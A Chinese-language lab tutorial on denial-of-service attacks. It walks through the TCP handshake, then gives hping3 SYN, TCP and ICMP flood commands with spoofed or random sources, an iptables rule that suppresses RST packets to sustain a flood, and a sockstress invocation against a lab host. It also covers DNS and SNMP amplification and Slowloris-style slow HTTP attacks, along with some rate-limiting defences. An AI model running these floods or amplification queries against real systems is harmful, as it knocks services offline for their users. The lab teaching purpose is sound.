目录
正常 TCP 会话与 SYN Flood 攻击
1、正常的三次握手过程:
2、 SYN Flood 攻击
一、攻击windows系统:
二、攻击web网站 :
拒绝服务攻击工具-Hping3-Syn Flood 攻击
拒绝服务攻击工具--Hping3--ICMP Flood 攻击
sockstress攻击
Sockstress防范
DNS放大攻击
产生大流量的攻击方法
DNS协议放大效果
攻击原理
SNMP放大攻击
简单网络管理协议
攻击原理
应用层DoS
正常 TCP 会话与 SYN Flood 攻击
1、正常的三次握手过程:
第一次握手:客户端--请求(发送请求SYN+数据包当前序列号seq,无需应答)
客户端创建传输控制块TCB,进入监听LISTEN状态。
设置SYN=1,表示这是握手报文,并发送给服务器
设置发送的数据包序列号seq=x
此时客户端处于同步已发送SYN-SENT状态
第二次握手:服务器--确认(发送应答ACK+请求SYN+确认收到上一个数据包的确认号ack+ 当前数据包序列号seq)
设置ACK=1,表示确认应答。
设置ack=x+1,表示已收到客户端x之前的数据,希望下次数据从x+1开始
设置SYN=1,表示握手报文,并发送给客户端
设置发送的数据包序列号seq=y
此时服务器处于同步已接收SYN-RCVD状态
第三次握手:客户端--确认服务器的确认(发送应答ACK+确认收到上一个数据包的确认号ack+ 当前数据包序列号seq ,连接已建立,无需请求)
设置ACK=1,表示确认应答。
设置ack=y+1,表示收到服务器发来的序列号为seq=y的数据包,希望下次数据从y+1开始
设置seq=x+1,表示接着上一个数据包seq=x继续发送
至此三次握手结束,连接建立
2、 SYN Flood 攻击
SYN Flood(半开放攻击)是一种拒绝服务(DDoS)攻击,其目的是通过消耗所有可用的服务器资源使服务器不可用于合法流量。通过重复发送初始连接请求(SYN)数据包,攻击者能够压倒目标服务器机器上的所有可用端口,导致目标设备根本不响应合法流量。(通过利用TCP连接的握手过程,SYN Flood攻击工作)
SYN攻击判断
看网卡状态:每秒大于1000以上的接收包。
看连接状态:netstat –na,看到大量SYN_RECEIVED状态的连接。
用冰盾DDoS监控器查看:SYN>100
被攻击的直接感受: Ping主机不通或丢包严重。 即便没有开放端口,CPU占用很高甚至100%
演示过程:
一、攻击windows系统:
打开win2003改为桥接模式;模拟真实环境。(ip:192.168.13.200);打开kali2022(xshell连接)
2、如攻击远程连接端口3389;目标主机打开远程桌面(计算机-右击属性)
尝试远程连接;可以远程;
3、Windows系统使用 【FastSend.exe】工具进行攻击(端口攻击):
4、大量SYN会话请求占用导致无法正常连接,关闭攻击即恢复。
二、攻击web网站 :
1、打开phpstudy2016 dvwa靶场
http://192.168.13.200:90/dvwa/login.php
2、 同windows使用 【FastSend.exe】工具进行攻击(端口攻击):
3、开始攻击:
网站将会无法访问,停止攻击即可恢复;最大四分钟内会话被是否,被释放也可访问
看连接状态:netstat –na,看到大量SYN_RECEIVED状态的连接
netstat -an
目标主机的cpu使用率有明显提升:
发一个包释放一个连接,这种达不到攻击郊果。要构成攻击效果可以通过iptables限止发送RST包。这样就可以达到攻击郊果。iptables写法如下:
iptables -F #清除iptables规则
iptables -L #查看iptables防火墙规则
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.13.200 -j DROP #添加iptables防火墙规则
这条命令的目的是阻止所有从本机出发、目标为
192.168.13.200
且TCP标志仅设置为RST
的TCP数据包:
iptables
: 这是Linux系统中用于配置和管理Netfilter防火墙规则的命令行工具。
-A OUTPUT
:-A
表示追加一条新规则到指定的规则链末尾,OUTPUT
是数据包流出本机(即作为响应或本机发起的连接)时经过的链。
-p tcp
: 指定该规则只应用于TCP协议的数据包。
--tcp-flags RST RST
: 这个选项指定了TCP标志位的匹配条件。在这里,要求数据包的TCP标志位中必须且只能包含RST
标志。TCP的RST标志用于复位连接,通常在异常终止连接或响应不存在的连接时使用。
-d 192.168.13.200
: 指定目标IP地址为192.168.13.200
,即这条规则只影响发往该地址的数据包。
-j DROP
:-j
是“jump”的缩写,用于指定匹配到规则后的动作。DROP
动作意味着任何符合上述条件的数据包都将被防火墙静默丢弃,既不响应也不通知发送方。
kali打开流量分析【Wireshark】工具:
嗅探/欺骗-->Wireshark
623255 25.906866889 216.93.6.102 192.168.13.200 TCP 174 37500 → 90 [SYN] Seq=0 Win=64 Len=120
拒绝服务攻击工具-Hping3-Syn Flood 攻击
Hping3 -几乎可以定制发送任何TCP/IP数据包,用于测试FW、端口扫描、性能测试
Syn Flood 攻击
hping3 -c 1000 -d 120 -S -w 64 -p 90 --flood --rand-source 192.168.13.200
hping3 -S -P -U -p 80 --flood --rand-source 192.168.13.200
hping3 -SARFUP -p 80 --flood --rand-source 192.168.13.200 (TCP Flood)
syn攻击特征:攻击者为随机IP、长度相同、目标主机cpu及网络应用占用明显。
指定任意ip(可指定使用代理池)进行攻击:
hping3 -c 1000 -d 120 -S -w 64 -p 90 -a 1.1.1.1 --flood 192.168.13.200
拒绝服务攻击工具--Hping3--ICMP Flood 攻击
hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 192.168.13.200
-q
:安静模式,不显示每个数据包的发送反馈。-n
:不进行DNS反向解析,以IP地址而非主机名显示。-a
:设置源IP地址为1.1.1.1
,这通常是用于模拟特定源IP的测试。--icmp
:指定使用ICMP协议,而不是默认的TCP或UDP。-d 56
:设置ICMP数据包的载荷大小为56字节。--flood
:快速连续发送数据包,不等待响应,模拟洪水攻击或压力测试。192.168.13.200
:目标IP地址,这里是发送ICMP请求的目标。
ICMP攻击特征:目标主机卡顿、挂机;目标主机cpu及网络应用占用明显、没有端口号。
sockstress攻击
2008年由 Jack C. Louis 发现,针对TCP服务的拒绝服务攻击
1、消耗被攻击目标系统资源 -与攻击目标建立大量socket链接
2、完成三次握手,最后的ACK包window大小为0 (客户端不接收数据);攻击者资源消耗小(CPU、内存、带宽) ;
3、异步攻击,单机可拒绝服务高配资源服务器;
4、Window窗-实现的TCP流控
防火墙规则设置:
iptables -F #清除iptables规则
iptables -L #查看iptables防火墙规则
iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP #增加iptables防火墙规则
把sockstress工具上传到kali;切换到工具目录;执行攻击语句:
./sockstress 192.168.13.200:90 eth0 -p payloads/http -d 10
./sockstress
:表示执行当前目录下的sockstress
可执行文件。sockstress
是一种曾经被用于测试系统TCP栈稳定性和抗压能力的工具,也可能被滥用于发起DoS攻击。
192.168.13.200:90
:指定目标IP地址和端口号,这里是针对IP地址为192.168.13.200
,端口为90
的服务进行操作。
eth0
:指定本地使用的网络接口,这里是eth0
,表示将通过这个网络接口发送数据包。
-p payloads/http
:此参数可能指定了使用的payload类型或模式,http
可能意味着使用HTTP协议的特定数据或头信息作为payload来构造TCP连接请求,这取决于sockstress
工具的具体实现。
-d 10
:-d是微秒内指定,默认为1000000 改成10之后并发带度更快。
未攻击前可正常访问:
攻击中:web网站无法访问
流量特征:完成三次握手、win=0、Window窗(TCP ZeroWindow)、只有请求头没有响应包
Sockstress防范
防御措施
直到今天sockstress攻击仍然是一种很有效的DoS攻击方式 -甶于建立完整的TCP三步握手,因此使用syn cookie防御无效 -根本的防御方法是采用白名单(不实际)
折中对策:限制单位时间内每IP建的TCP连接数
■封杀每30秒与80端口建立连接超过10个的IP地址
■iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
■iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
■以上规则对DDoS攻击无效
DNS放大攻击
产生大流量的攻击方法
-单机的带宽优势
-巨大单机数量形成的流量汇聚
-利用协议特性实现放大效果的流量
DNS协议放大效果
-查询请求流量小,但响应流量可能非常巨大
-digANYhp.com @202.106.0.20 (流量放大约8倍
dig ANY hp.com @202.106.0.20
dig
:是DNS查询工具
ANY hp.com
:这是查询的部分,其中:
ANY
是查询类型,表示请求DNS服务器返回该域名所有类型的记录hp.com
是你要查询的域名,这里是惠普公司的官方网站域名
@202.106.0.20
:指定了DNS解析查询应该发送给的DNS服务器地址
攻击原理
-伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询
-DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS
SNMP放大攻击
简单网络管理协议
-Simple Network Management Protocol
-服务端UDP 161 / 162
-管理站(manager /客户端)、被管理设备(agent /服务端)
-管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能 的数据,按照不同分类,包含分属不同组的多个数据对象
-每一个节点都有一个对象标识符(OID)来唯一的标识
-IETF定义便准的MIB库/厂家自定义MIB库
攻击原理
-请求流量小,查询结果返回流量大 -结合伪造源地址实现攻击
应用层DoS
应用服务漏洞
-服务代码存在漏洞,遇异常提交数据时程序崩溃
-应用处理大量并发请求能力有限,被拒绝的是应用或OS
缓冲区溢出漏洞
-向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
-影响:远程代码执行、DoS
-利用模糊测试方法发现缓冲区溢出漏洞
CesarFTP 0.99 服务漏洞
-ftp_fuzz.py # MKD/RMD
MS12-020远程桌面协议DoS漏洞
Slowhttptest (源自google)
-低带宽应用层慢速DoS攻击(相对于CC等快速攻击而言的慢速)
-最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX)
-尤其擅长攻击apache、tomcat (几乎百发百中)
攻击方法
Slowloris、Slow HTTP POST 攻击
原理
耗尽应用的并发连接池,类似于Http层的Syn flood HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n...... Slow POST: HTTP头content-length声明长度,但body部分缓慢发送
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。